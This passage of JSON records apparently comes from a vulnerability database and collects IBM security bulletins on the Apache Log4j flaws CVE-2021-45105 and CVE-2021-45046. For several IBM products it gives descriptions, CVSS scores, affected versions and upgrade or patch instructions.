false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-44228", "CVE-2021-45046", "CVE-2021-45105"], "modified": "2022-01-28T18:05:14", "id": "7DDD006076946810EADC174FC2320565F527D46FFF5270A3D6916BF8993B12F9", "href": "https://www.ibm.com/support/pages/node/6551954", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2023-05-23T17:58:41", "description": "## Summary\n\nVulnerabilities in Apache Log4j could allow an attacker to execute arbitrary code and denial of service on the system. This library is used by the Graphical User Interface (GUI) of IBM Spectrum Scale for logging which is bundled in IBM Elastic Storage System. \n\n## Vulnerability Details\n\n**CVEID: **[CVE-2021-45105](<https://vulners.com/cve/CVE-2021-45105>) \n**DESCRIPTION: **Apache Log4j is vulnerable to a denial of service, caused by the failure to protect from uncontrolled recursion from self-referential lookups. A remote attacker with control over Thread Context Map (MDC) input data could craft malicious input data that contains a recursive lookup to cause a StackOverflowError that will terminate the process. Note: The vulnerability is also called LOG4J2-3230. \nCVSS Base score: 7.5 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/215647](<https://exchange.xforce.ibmcloud.com/vulnerabilities/215647>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H) \n \n**CVEID: **[CVE-2021-45046](<https://vulners.com/cve/CVE-2021-45046>) \n**DESCRIPTION: **Apache Log4j could result in remote code execution, caused by an incomplete fix of CVE-2021-44228 in certain non-default configurations. When the logging configuration uses a non-default Pattern Layout with a Context Lookup, an attacker with control over Thread Context Map (MDC) input data can craft malicious input data using a JNDI Lookup pattern to leak sensitive information and remote code execution in some environments and local code execution in all environments. \nCVSS Base score: 9 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/215195](<https://exchange.xforce.ibmcloud.com/vulnerabilities/215195>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H)\n\n## Affected Products and Versions\n\n**Affected Product(s)** | **Version(s)** \n---|--- \nIBM Elastic Storage System | V6.0.1.0 - V6.0.2.3 \nIBM Elastic Storage System | V6.1.0.0 - V6.1.2.1 \n \n## Remediation/Fixes\n\n**IBM strongly recommends addressing the vulnerability by installing the IBM Elastic Storage System version specific efix:**\n\nContact IBM Support for your affected versions of ESS 3000, ESS 3200 and ESS 5000 to obtain and apply an efix for your level of code:\n\n**Product(s)** | **Remediation(s)** \n---|--- \nIBM Elastic Storage System \n\nV6.0.1.0 - V6.0.2.3 \n\n| For the fix contact [IBM Support](<https://www.ibm.com/mysupport> \"IBM Support\" ) or [call,](<https://www.ibm.com/docs/en/spectrum-scale/5.0.4?topic=center-how-contact-support> \"call\" ) reference** APAR IJ36851** \n \nIBM Elastic Storage System\n\nV6.1.0.0 - V6.1.2.1\n\n| \n\nFor the fix contact [IBM Support](<https://www.ibm.com/mysupport> \"IBM Support\" ) or [call,](<https://www.ibm.com/docs/en/spectrum-scale/5.0.4?topic=center-how-contact-support> \"call\" ) reference** APAR IJ36818** \n \n**Note**: Selected efixes are on Fix Central, see <https://www.ibm.com/support/pages/node/6537748>\n\n## Workarounds and Mitigations\n\nNone\n\n## ", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2021-12-31T15:31:59", "type": "ibm", "title": "Security Bulletin: Multiple vulnerabilities in Apache Log4j impact IBM Elastic Storage System (CVE-2021-45105, CVE-2021-45046)", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-44228", "CVE-2021-45046", "CVE-2021-45105"], "modified": "2021-12-31T15:31:59", "id": "90B290F66451E3E462C09788B6756181F62A92A8BAA10F2C4BD52977FD8E1B37", "href": "https://www.ibm.com/support/pages/node/6537750", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2023-05-23T17:45:31", "description": "## Summary\n\nFor the 8.0.0 version of MSO, which is distributed as part of the MAS catalog here are the instructions to move to the 8.0.3 version to get log4j 2.17.1 Apache Log4j - [CVE-2021-45105] (affecting v2.16) and [CVE-2021-45046] (affecting v2.15) \n\n## Vulnerability Details\n\n** CVEID: **[CVE-2021-45105](<https://vulners.com/cve/CVE-2021-45105>) \n** DESCRIPTION: **Apache Log4j is vulnerable to a denial of service, caused by the failure to protect from uncontrolled recursion from self-referential lookups. A remote attacker with control over Thread Context Map (MDC) input data could craft malicious input data that contains a recursive lookup to cause a StackOverflowError that will terminate the process. Note: The vulnerability is also called LOG4J2-3230. \nCVSS Base score: 7.5 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/215647](<https://exchange.xforce.ibmcloud.com/vulnerabilities/215647>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H) \n \n** CVEID: **[CVE-2021-45046](<https://vulners.com/cve/CVE-2021-45046>) \n** DESCRIPTION: **Apache Log4j could result in remote code execution, caused by an incomplete fix of CVE-2021-44228 in certain non-default configurations. When the logging configuration uses a non-default Pattern Layout with a Context Lookup, an attacker with control over Thread Context Map (MDC) input data can craft malicious input data using a JNDI Lookup pattern to leak sensitive information and remote code execution in some environments and local code execution in all environments. \nCVSS Base score: 9 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/215195](<https://exchange.xforce.ibmcloud.com/vulnerabilities/215195>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H)\n\n## Affected Products and Versions\n\nAffected Product(s)| Version(s) \n---|--- \nIBM Maximo Scheduler Optimization| All \n \n\n\n## Remediation/Fixes\n\n**How to manually get Maximo Scheduler Optimization 8.0.0 (MSO) updated to Apache log4j 2.17.1 **\n\n**IBM strongly suggests the following update: \n**\n\nUpdate the Maximo Scheduler Optimization 8.0.0 installed on Maximo Application Suite (MAS) to Version 8.0.3 of MSO.\n\n### Update **Maximo Scheduler Optimization** application\n\nWhen new versions of applications are available, you can update the deployed applications.\n\nTo update an application:\n\n 1. From the Suite Administration Applications pane, select the Addon tab and find the Maximo Scheduler Optimization application that you want to update.\n 2. On the application summary page confirm the 8.0.3 or > version, click **Update**\n\n**Product(s)**| **Version(s) \n**| **Remediation/Fix/Instructions** \n---|---|--- \nIBM Maximo Scheduler Optimization | 8.0| \n\nUpdate [8.0](<https://www.ibm.com/docs/en/mas86/8.6.0?topic=ons-maximo-scheduler-optimization> \"8.0\" ) and follow [instructions](<https://www.ibm.com/docs/en/mas87/8.7.0?topic=ons-maximo-scheduler-optimization> \"instructions\" ) to get the 8.0.3 or > version \n \n## Workarounds and Mitigations\n\nFor MSO 8 version update to the latest version available 8.0.3\n\n## ", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2022-10-19T14:06:26", "type": "ibm", "title": "Security Bulletin: Apache log4j security vulnerability as it relates to IBM Maximo Scheduler Optimization - Apache Log4j - [CVE-2021-45105] (affecting v2.16) and [CVE-2021-45046] (affecting v2.15)", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-44228", "CVE-2021-45046", "CVE-2021-45105"], "modified": "2022-10-19T14:06:26", "id": "965AA3643F2C2723C5C9B471B69786B972B6D81B6C917B50EE5BFD6C8447279C", "href": "https://www.ibm.com/support/pages/node/6830617", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2023-05-23T17:57:14", "description": "## Summary\n\nVulnerabilities in Apache Log4j could result in a denial of service or remote code execution. These vulnerabilities may affect IBM Spectrum Protect Snapshot for VMware due to its use of Log4j for logging of messages and traces. The below fix package includes Log4j 2.17.\n\n## Vulnerability Details\n\n** CVEID: **[CVE-2021-45105](<https://vulners.com/cve/CVE-2021-45105>) \n** DESCRIPTION: **Apache Log4j is vulnerable to a denial of service, caused by the failure to protect from uncontrolled recursion from self-referential lookups. A remote attacker with control over Thread Context Map (MDC) input data could craft malicious input data that contains a recursive lookup to cause a StackOverflowError that will terminate the process. Note: The vulnerability is also called LOG4J2-3230. \nCVSS Base score: 7.5 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/215647](<https://exchange.xforce.ibmcloud.com/vulnerabilities/215647>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H) \n \n** CVEID: **[CVE-2021-45046](<https://vulners.com/cve/CVE-2021-45046>) \n** DESCRIPTION: **Apache Log4j could result in remote code execution, caused by an incomplete fix of CVE-2021-44228 in certain non-default configurations. When the logging configuration uses a non-default Pattern Layout with a Context Lookup, an attacker with control over Thread Context Map (MDC) input data can craft malicious input data using a JNDI Lookup pattern to leak sensitive information and remote code execution in some environments and local code execution in all environments. \nCVSS Base score: 9 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/215195](<https://exchange.xforce.ibmcloud.com/vulnerabilities/215195>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H)\n\n## Affected Products and Versions\n\n**Affected Product(s)**| **Version(s)** \n---|--- \nIBM Spectrum Protect Snapshot for VMware| 4.1.6.10-4.1.6.13 \n \n## Remediation/Fixes\n\nIBM strongly recommends addressing this vulnerability now by upgrading.\n\n**Note: The below fix package includes Log4j 2.17.**\n\n**_IBM Spectrum Protect Snapshot for VMware Affected Versions \n_**| **_Fixing \nLevel_**| **_Platform_**| **_Link to Fix and Instructions \n_** \n---|---|---|--- \n4.1.6.10-4.1.6.13| 4.1.6.14| Linux| <https://www.ibm.com/support/pages/node/6537580> \n \n## Workarounds and Mitigations\n\nNone\n\n## ", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2022-02-01T11:37:31", "type": "ibm", "title": "Security Bulletin: Vulnerabilities in Apache Log4j affect IBM Spectrum Protect Snapshot for VMware (CVE-2021-45105 and CVE-2021-45046)", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-44228", "CVE-2021-45046", "CVE-2021-45105"], "modified": "2022-02-01T11:37:31", "id": "3220BFD68D0CE5B97E4EC49AFAD94FC9317DA5DFDBD73C624B022C3E93AC4268", "href": "https://www.ibm.com/support/pages/node/6537644", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2023-05-23T17:57:30", "description": "## Summary\n\nIBM Watson Assistant for IBM Cloud Pak for Data uses Apache Log4j to log diagnostic data. Vulnerabilities in Apache Log4j (CVE-2021-45105 and CVE-2021-45046) impacts IBM Watson Assistant for IBM Cloud Pak for Data. The fix includes Apache Log4j v.2.17.0. \n\n## Vulnerability Details\n\n** CVEID: **[CVE-2021-45105](<https://vulners.com/cve/CVE-2021-45105>) \n** DESCRIPTION: **Apache Log4j is vulnerable to a denial of service, caused by the failure to protect from uncontrolled recursion from self-referential lookups. A remote attacker with control over Thread Context Map (MDC) input data could craft malicious input data that contains a recursive lookup to cause a StackOverflowError that will terminate the process. Note: The vulnerability is also called LOG4J2-3230. \nCVSS Base score: 7.5 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/215647](<https://exchange.xforce.ibmcloud.com/vulnerabilities/215647>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H) \n \n** CVEID: **[CVE-2021-45046](<https://vulners.com/cve/CVE-2021-45046>) \n** DESCRIPTION: **Apache Log4j could result in remote code execution, caused by an incomplete fix of CVE-2021-44228 in certain non-default configurations. When the logging configuration uses a non-default Pattern Layout with a Context Lookup, an attacker with control over Thread Context Map (MDC) input data can craft malicious input data using a JNDI Lookup pattern to leak sensitive information and remote code execution in some environments and local code execution in all environments. \nCVSS Base score: 9 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/215195](<https://exchange.xforce.ibmcloud.com/vulnerabilities/215195>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H)\n\n## Affected Products and Versions\n\n**Affected Product(s)**| **Version(s)** \n---|--- \nIBM Watson Assistant for IBM Cloud Pak for Data| 1.5.0, 4.0.0, 4.0.2, 4.0.4 \n \n \n\n\n## Remediation/Fixes\n\nFor all affected versions, IBM strongly recommends addressing the vulnerability now by upgrading to the upcoming latest (v4.0.5) release of IBM Watson Assistant for IBM Cloud Pak for Data which maintains backward compatibility with the versions listed above. \n\n**Product Latest Version**| **Remediation/Fix/Instructions** \n---|--- \nIBM Watson Assistant for IBM Cloud Pak for Data 4.0.5| \n\nFollow instructions for Installing Watson Assistant in Link to Release (v4.0.5 release information)\n\n<https://www.ibm.com/docs/en/cloud-paks/cp-data/4.0?topic=assistant-installing-watson> \n \n## Workarounds and Mitigations\n\nNone\n\n## ", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2022-01-27T17:31:15", "type": "ibm", "title": "Security Bulletin: IBM Watson Assistant for IBM Cloud Pak for Data is vulnerable to denial of service and arbitrary code execution due to Apache Log4j (CVE-2021-45105 and CVE-2021-45046)", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-44228", "CVE-2021-45046", "CVE-2021-45105"], "modified": "2022-01-27T17:31:15", "id": "7295DCCE494A2CA195C0EC2BD4F052B62F3E1B45826D03ABBF986B81F58BDD31", "href": "https://www.ibm.com/support/pages/node/6551430", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2023-05-23T17:57:53", "description": "## Summary\n\nThere are vulnerabilities in the Apache Log4j library used by IBM Robotic Process Automation with Automation Anywhere. This affects the IBM Robotic Process Automation with Automation Anywhere control room application. This vulnerability has been addressed by upgrading the Apache Log4j library to version 2.17.0.\n\n## Vulnerability Details\n\n** CVEID: **[CVE-2021-45105](<https://vulners.com/cve/CVE-2021-45105>) \n** DESCRIPTION: **Apache Log4j is vulnerable to a denial of service, caused by the failure to protect from uncontrolled recursion from self-referential lookups. A remote attacker with control over Thread Context Map (MDC) input data could craft malicious input data that contains a recursive lookup to cause a StackOverflowError that will terminate the process. Note: The vulnerability is also called LOG4J2-3230. \nCVSS Base score: 7.5 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/215647](<https://exchange.xforce.ibmcloud.com/vulnerabilities/215647>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H) \n \n** CVEID: **[CVE-2021-45046](<https://vulners.com/cve/CVE-2021-45046>) \n** DESCRIPTION: **Apache Log4j could result in remote code execution, caused by an incomplete fix of CVE-2021-44228 in certain non-default configurations. When the logging configuration uses a non-default Pattern Layout with a Context Lookup, an attacker with control over Thread Context Map (MDC) input data can craft malicious input data using a JNDI Lookup pattern to leak sensitive information and remote code execution in some environments and local code execution in all environments. \nCVSS Base score: 9 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/215195](<https://exchange.xforce.ibmcloud.com/vulnerabilities/215195>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H)\n\n## Affected Products and Versions\n\n**Affected Product(s)**| **Version(s)** \n---|--- \nIBM Robotic Process Automation with Automation Anywhere| 11.0 \n \n\n\n## Remediation/Fixes\n\nIBM strongly recommends addressing the vulnerability now by upgrading to interim fixpack [11.0.0.10-IF004](<https://www.ibm.com/support/pages/node/6540266> \"11.0.0.10-IF004\" ).\n\n## Workarounds and Mitigations\n\nIf the fixpack 11.0.0.10-IF004 cannot be applied immediately, follows the mitigation steps provided by Automation Anywhere which can be found [here](<https://apeople.automationanywhere.com/s/article/AA-11-x-Update-regarding-CVE-2021-44228-related-to-0-day-in-the-Apache-Log4j2-Java-library> \"here\" ) (Apeople login required).\n\n## ", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2022-01-16T04:06:38", "type": "ibm", "title": "Security Bulletin: Due to use of Apache Log4j, IBM Robotic Process Automation with Automation Anywhere is vulnerable to arbitrary code execution (CVE-2021-45046) and denial of service (CVE-2021-45105)", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-44228", "CVE-2021-45046", "CVE-2021-45105"], "modified": "2022-01-16T04:06:38", "id": "A2133DCF0D67EC30E5F3D15E39561490E1B16A2750CD5C806DC8F9E95825E247", "href": "https://www.ibm.com/support/pages/node/6541224", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2023-05-23T17:58:44", "description": "## Summary\n\nVulnerability in Apache Log4j affects IBM Guardium Data Encryption (GDE) (CVE-2021-45105 and CVE-2021-45046). The patch includes Apache Log4j 2.17.\n\n## Vulnerability Details\n\n** CVEID: **[CVE-2021-45105](<https://vulners.com/cve/CVE-2021-45105>) \n** DESCRIPTION: **Apache Log4j is vulnerable to a denial of service, caused by the failure to protect from uncontrolled recursion from self-referential lookups. A remote attacker with control over Thread Context Map (MDC) input data could craft malicious input data that contains a recursive lookup to cause a StackOverflowError that will terminate the process. Note: The vulnerability is also called LOG4J2-3230. \nCVSS Base score: 7.5 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/215647](<https://exchange.xforce.ibmcloud.com/vulnerabilities/215647>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H) \n \n** CVEID: **[CVE-2021-45046](<https://vulners.com/cve/CVE-2021-45046>) \n** DESCRIPTION: **Apache Log4j could result in remote code execution, caused by an incomplete fix of CVE-2021-44228 in certain non-default configurations. When the logging configuration uses a non-default Pattern Layout with a Context Lookup, an attacker with control over Thread Context Map (MDC) input data can craft malicious input data using a JNDI Lookup pattern to leak sensitive information and remote code execution in some environments and local code execution in all environments. \nCVSS Base score: 9 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/215195](<https://exchange.xforce.ibmcloud.com/vulnerabilities/215195>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H)\n\n## Affected Products and Versions\n\nAffected Product| Affected Component Name| Affected Version \n---|---|--- \nGDE (4.0.0.6)| Guardium Cloud Key Manager (GCKM) Appliance| 1.10.0 and 1.10.1 \nGDE (4.0.0.5)| Guardium Cloud Key Manager (GCKM) Appliance| 1.9 \n \n\n\n## Remediation/Fixes\n\nDo downloads and apply the patch on GCKM appliance provided by Thales. Customers are encouraged to act quickly to update their systems. \n\nNote: User need to log into the Thales's support portal for accessing the below link.\n\nAffected Product| Affected Component Name and Version| Patch link \n---|---|--- \nGDE (4.0.0.6)| Guardium Cloud Key Manager (GCKM) Appliance (V1.10.1)| [https://supportportal.thalesgroup.com/csm?id=kb_article_view&sys_kb_id=a0c7c50cdb13f850520c470505961948&sysparm_article=KB0024988](<https://supportportal.thalesgroup.com/csm?id=kb_article_view&sys_kb_id=a0c7c50cdb13f850520c470505961948&sysparm_article=KB0024988>) \nGDE (4.0.0.6)| Guardium Cloud Key Manager (GCKM) Appliance (V1.10)| [https://supportportal.thalesgroup.com/csm?id=kb_article_view&sys_kb_id=c22619b41b55fc10e2af520f6e4bcb97&sysparm_article=KB0024583](<https://supportportal.thalesgroup.com/csm?id=kb_article_view&sys_kb_id=c22619b41b55fc10e2af520f6e4bcb97&sysparm_article=KB0024583>) \nGDE (4.0.0.5)| Guardium Cloud Key Manager (GCKM) Appliance (V1.9)| [https://supportportal.thalesgroup.com/csm?id=kb_article_view&sys_kb_id=1f4ca87edbc36810520c47050596192a&sysparm_article=KB0023969](<https://supportportal.thalesgroup.com/csm?id=kb_article_view&sys_kb_id=1f4ca87edbc36810520c47050596192a&sysparm_article=KB0023969>) \n \n## Workarounds and Mitigations\n\nCustomer needs to apply the patch, please refer \"Remediation/Fixes \" section for patch links.\n\n## ", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2021-12-29T07:53:09", "type": "ibm", "title": "Security Bulletin: Vulnerability in Apache Log4j affects IBM Guardium Data Encryption (GDE) (CVE-2021-45105 and CVE-2021-45046)", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-44228", "CVE-2021-45046", "CVE-2021-45105"], "modified": "2021-12-29T07:53:09", "id": "5C2309A832A981E871A38D52C9E19A6D60138A5FF04933E55F3319A964A350A7", "href": "https://www.ibm.com/support/pages/node/6537486", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2023-05-23T17:57:32", "description": "## Summary\n\nThere are multiple Apache Log4j vulnerabilities (CVE-2021-45105, CVE-2021-45046) impacting IBM Watson Machine Learning in Cloud Pak for Data which uses Apache Log4j for logging. The fix includes Apache Log4j 2.17.\n\n## Vulnerability Details\n\n** CVEID: **[CVE-2021-45105](<https://vulners.com/cve/CVE-2021-45105>) \n** DESCRIPTION: **Apache Log4j is vulnerable to a denial of service, caused by the failure to protect from uncontrolled recursion from self-referential lookups. A remote attacker with control over Thread Context Map (MDC) input data could craft malicious input data that contains a recursive lookup to cause a StackOverflowError that will terminate the process. Note: The vulnerability is also called LOG4J2-3230. \nCVSS Base score: 7.5 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/215647](<https://exchange.xforce.ibmcloud.com/vulnerabilities/215647>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H) \n \n** CVEID: **[CVE-2021-45046](<https://vulners.com/cve/CVE-2021-45046>) \n** DESCRIPTION: **Apache Log4j could result in remote code execution, caused by an incomplete fix of CVE-2021-44228 in certain non-default configurations. When the logging configuration uses a non-default Pattern Layout with a Context Lookup, an attacker with control over Thread Context Map (MDC) input data can craft malicious input data using a JNDI Lookup pattern to leak sensitive information and remote code execution in some environments and local code execution in all environments. \nCVSS Base score: 9 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/215195](<https://exchange.xforce.ibmcloud.com/vulnerabilities/215195>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H)\n\n## Affected Products and Versions\n\n**Affected Product(s)**| **Version(s)** \n---|--- \nIBM Watson Machine Learning in Cloud Pak for Data| 4.0.4 \n \n\n\n## Remediation/Fixes\n\n**Affected Product(s)**| **Version(s)**| **Fixes** \n---|---|--- \nWatson Machine Learning in Cloud Pak for Data| 4.0.4| Get the latest Watson Machine Learning by upgrading to [4.0.5](<https://www.ibm.com/docs/en/cloud-paks/cp-data/4.0?topic=planning-operator-operand-versions#versions__cpd-platform> \"4.0.5\" ) \n \n## Workarounds and Mitigations\n\nNone\n\n## ", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2022-01-27T02:08:48", "type": "ibm", "title": "Security Bulletin: IBM Watson Machine Learning in Cloud Pak for Data is vulnerable to denial of service and arbitrary code execution due to Apache Log4j (CVE-2021-45105, CVE-2021-45046)", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, 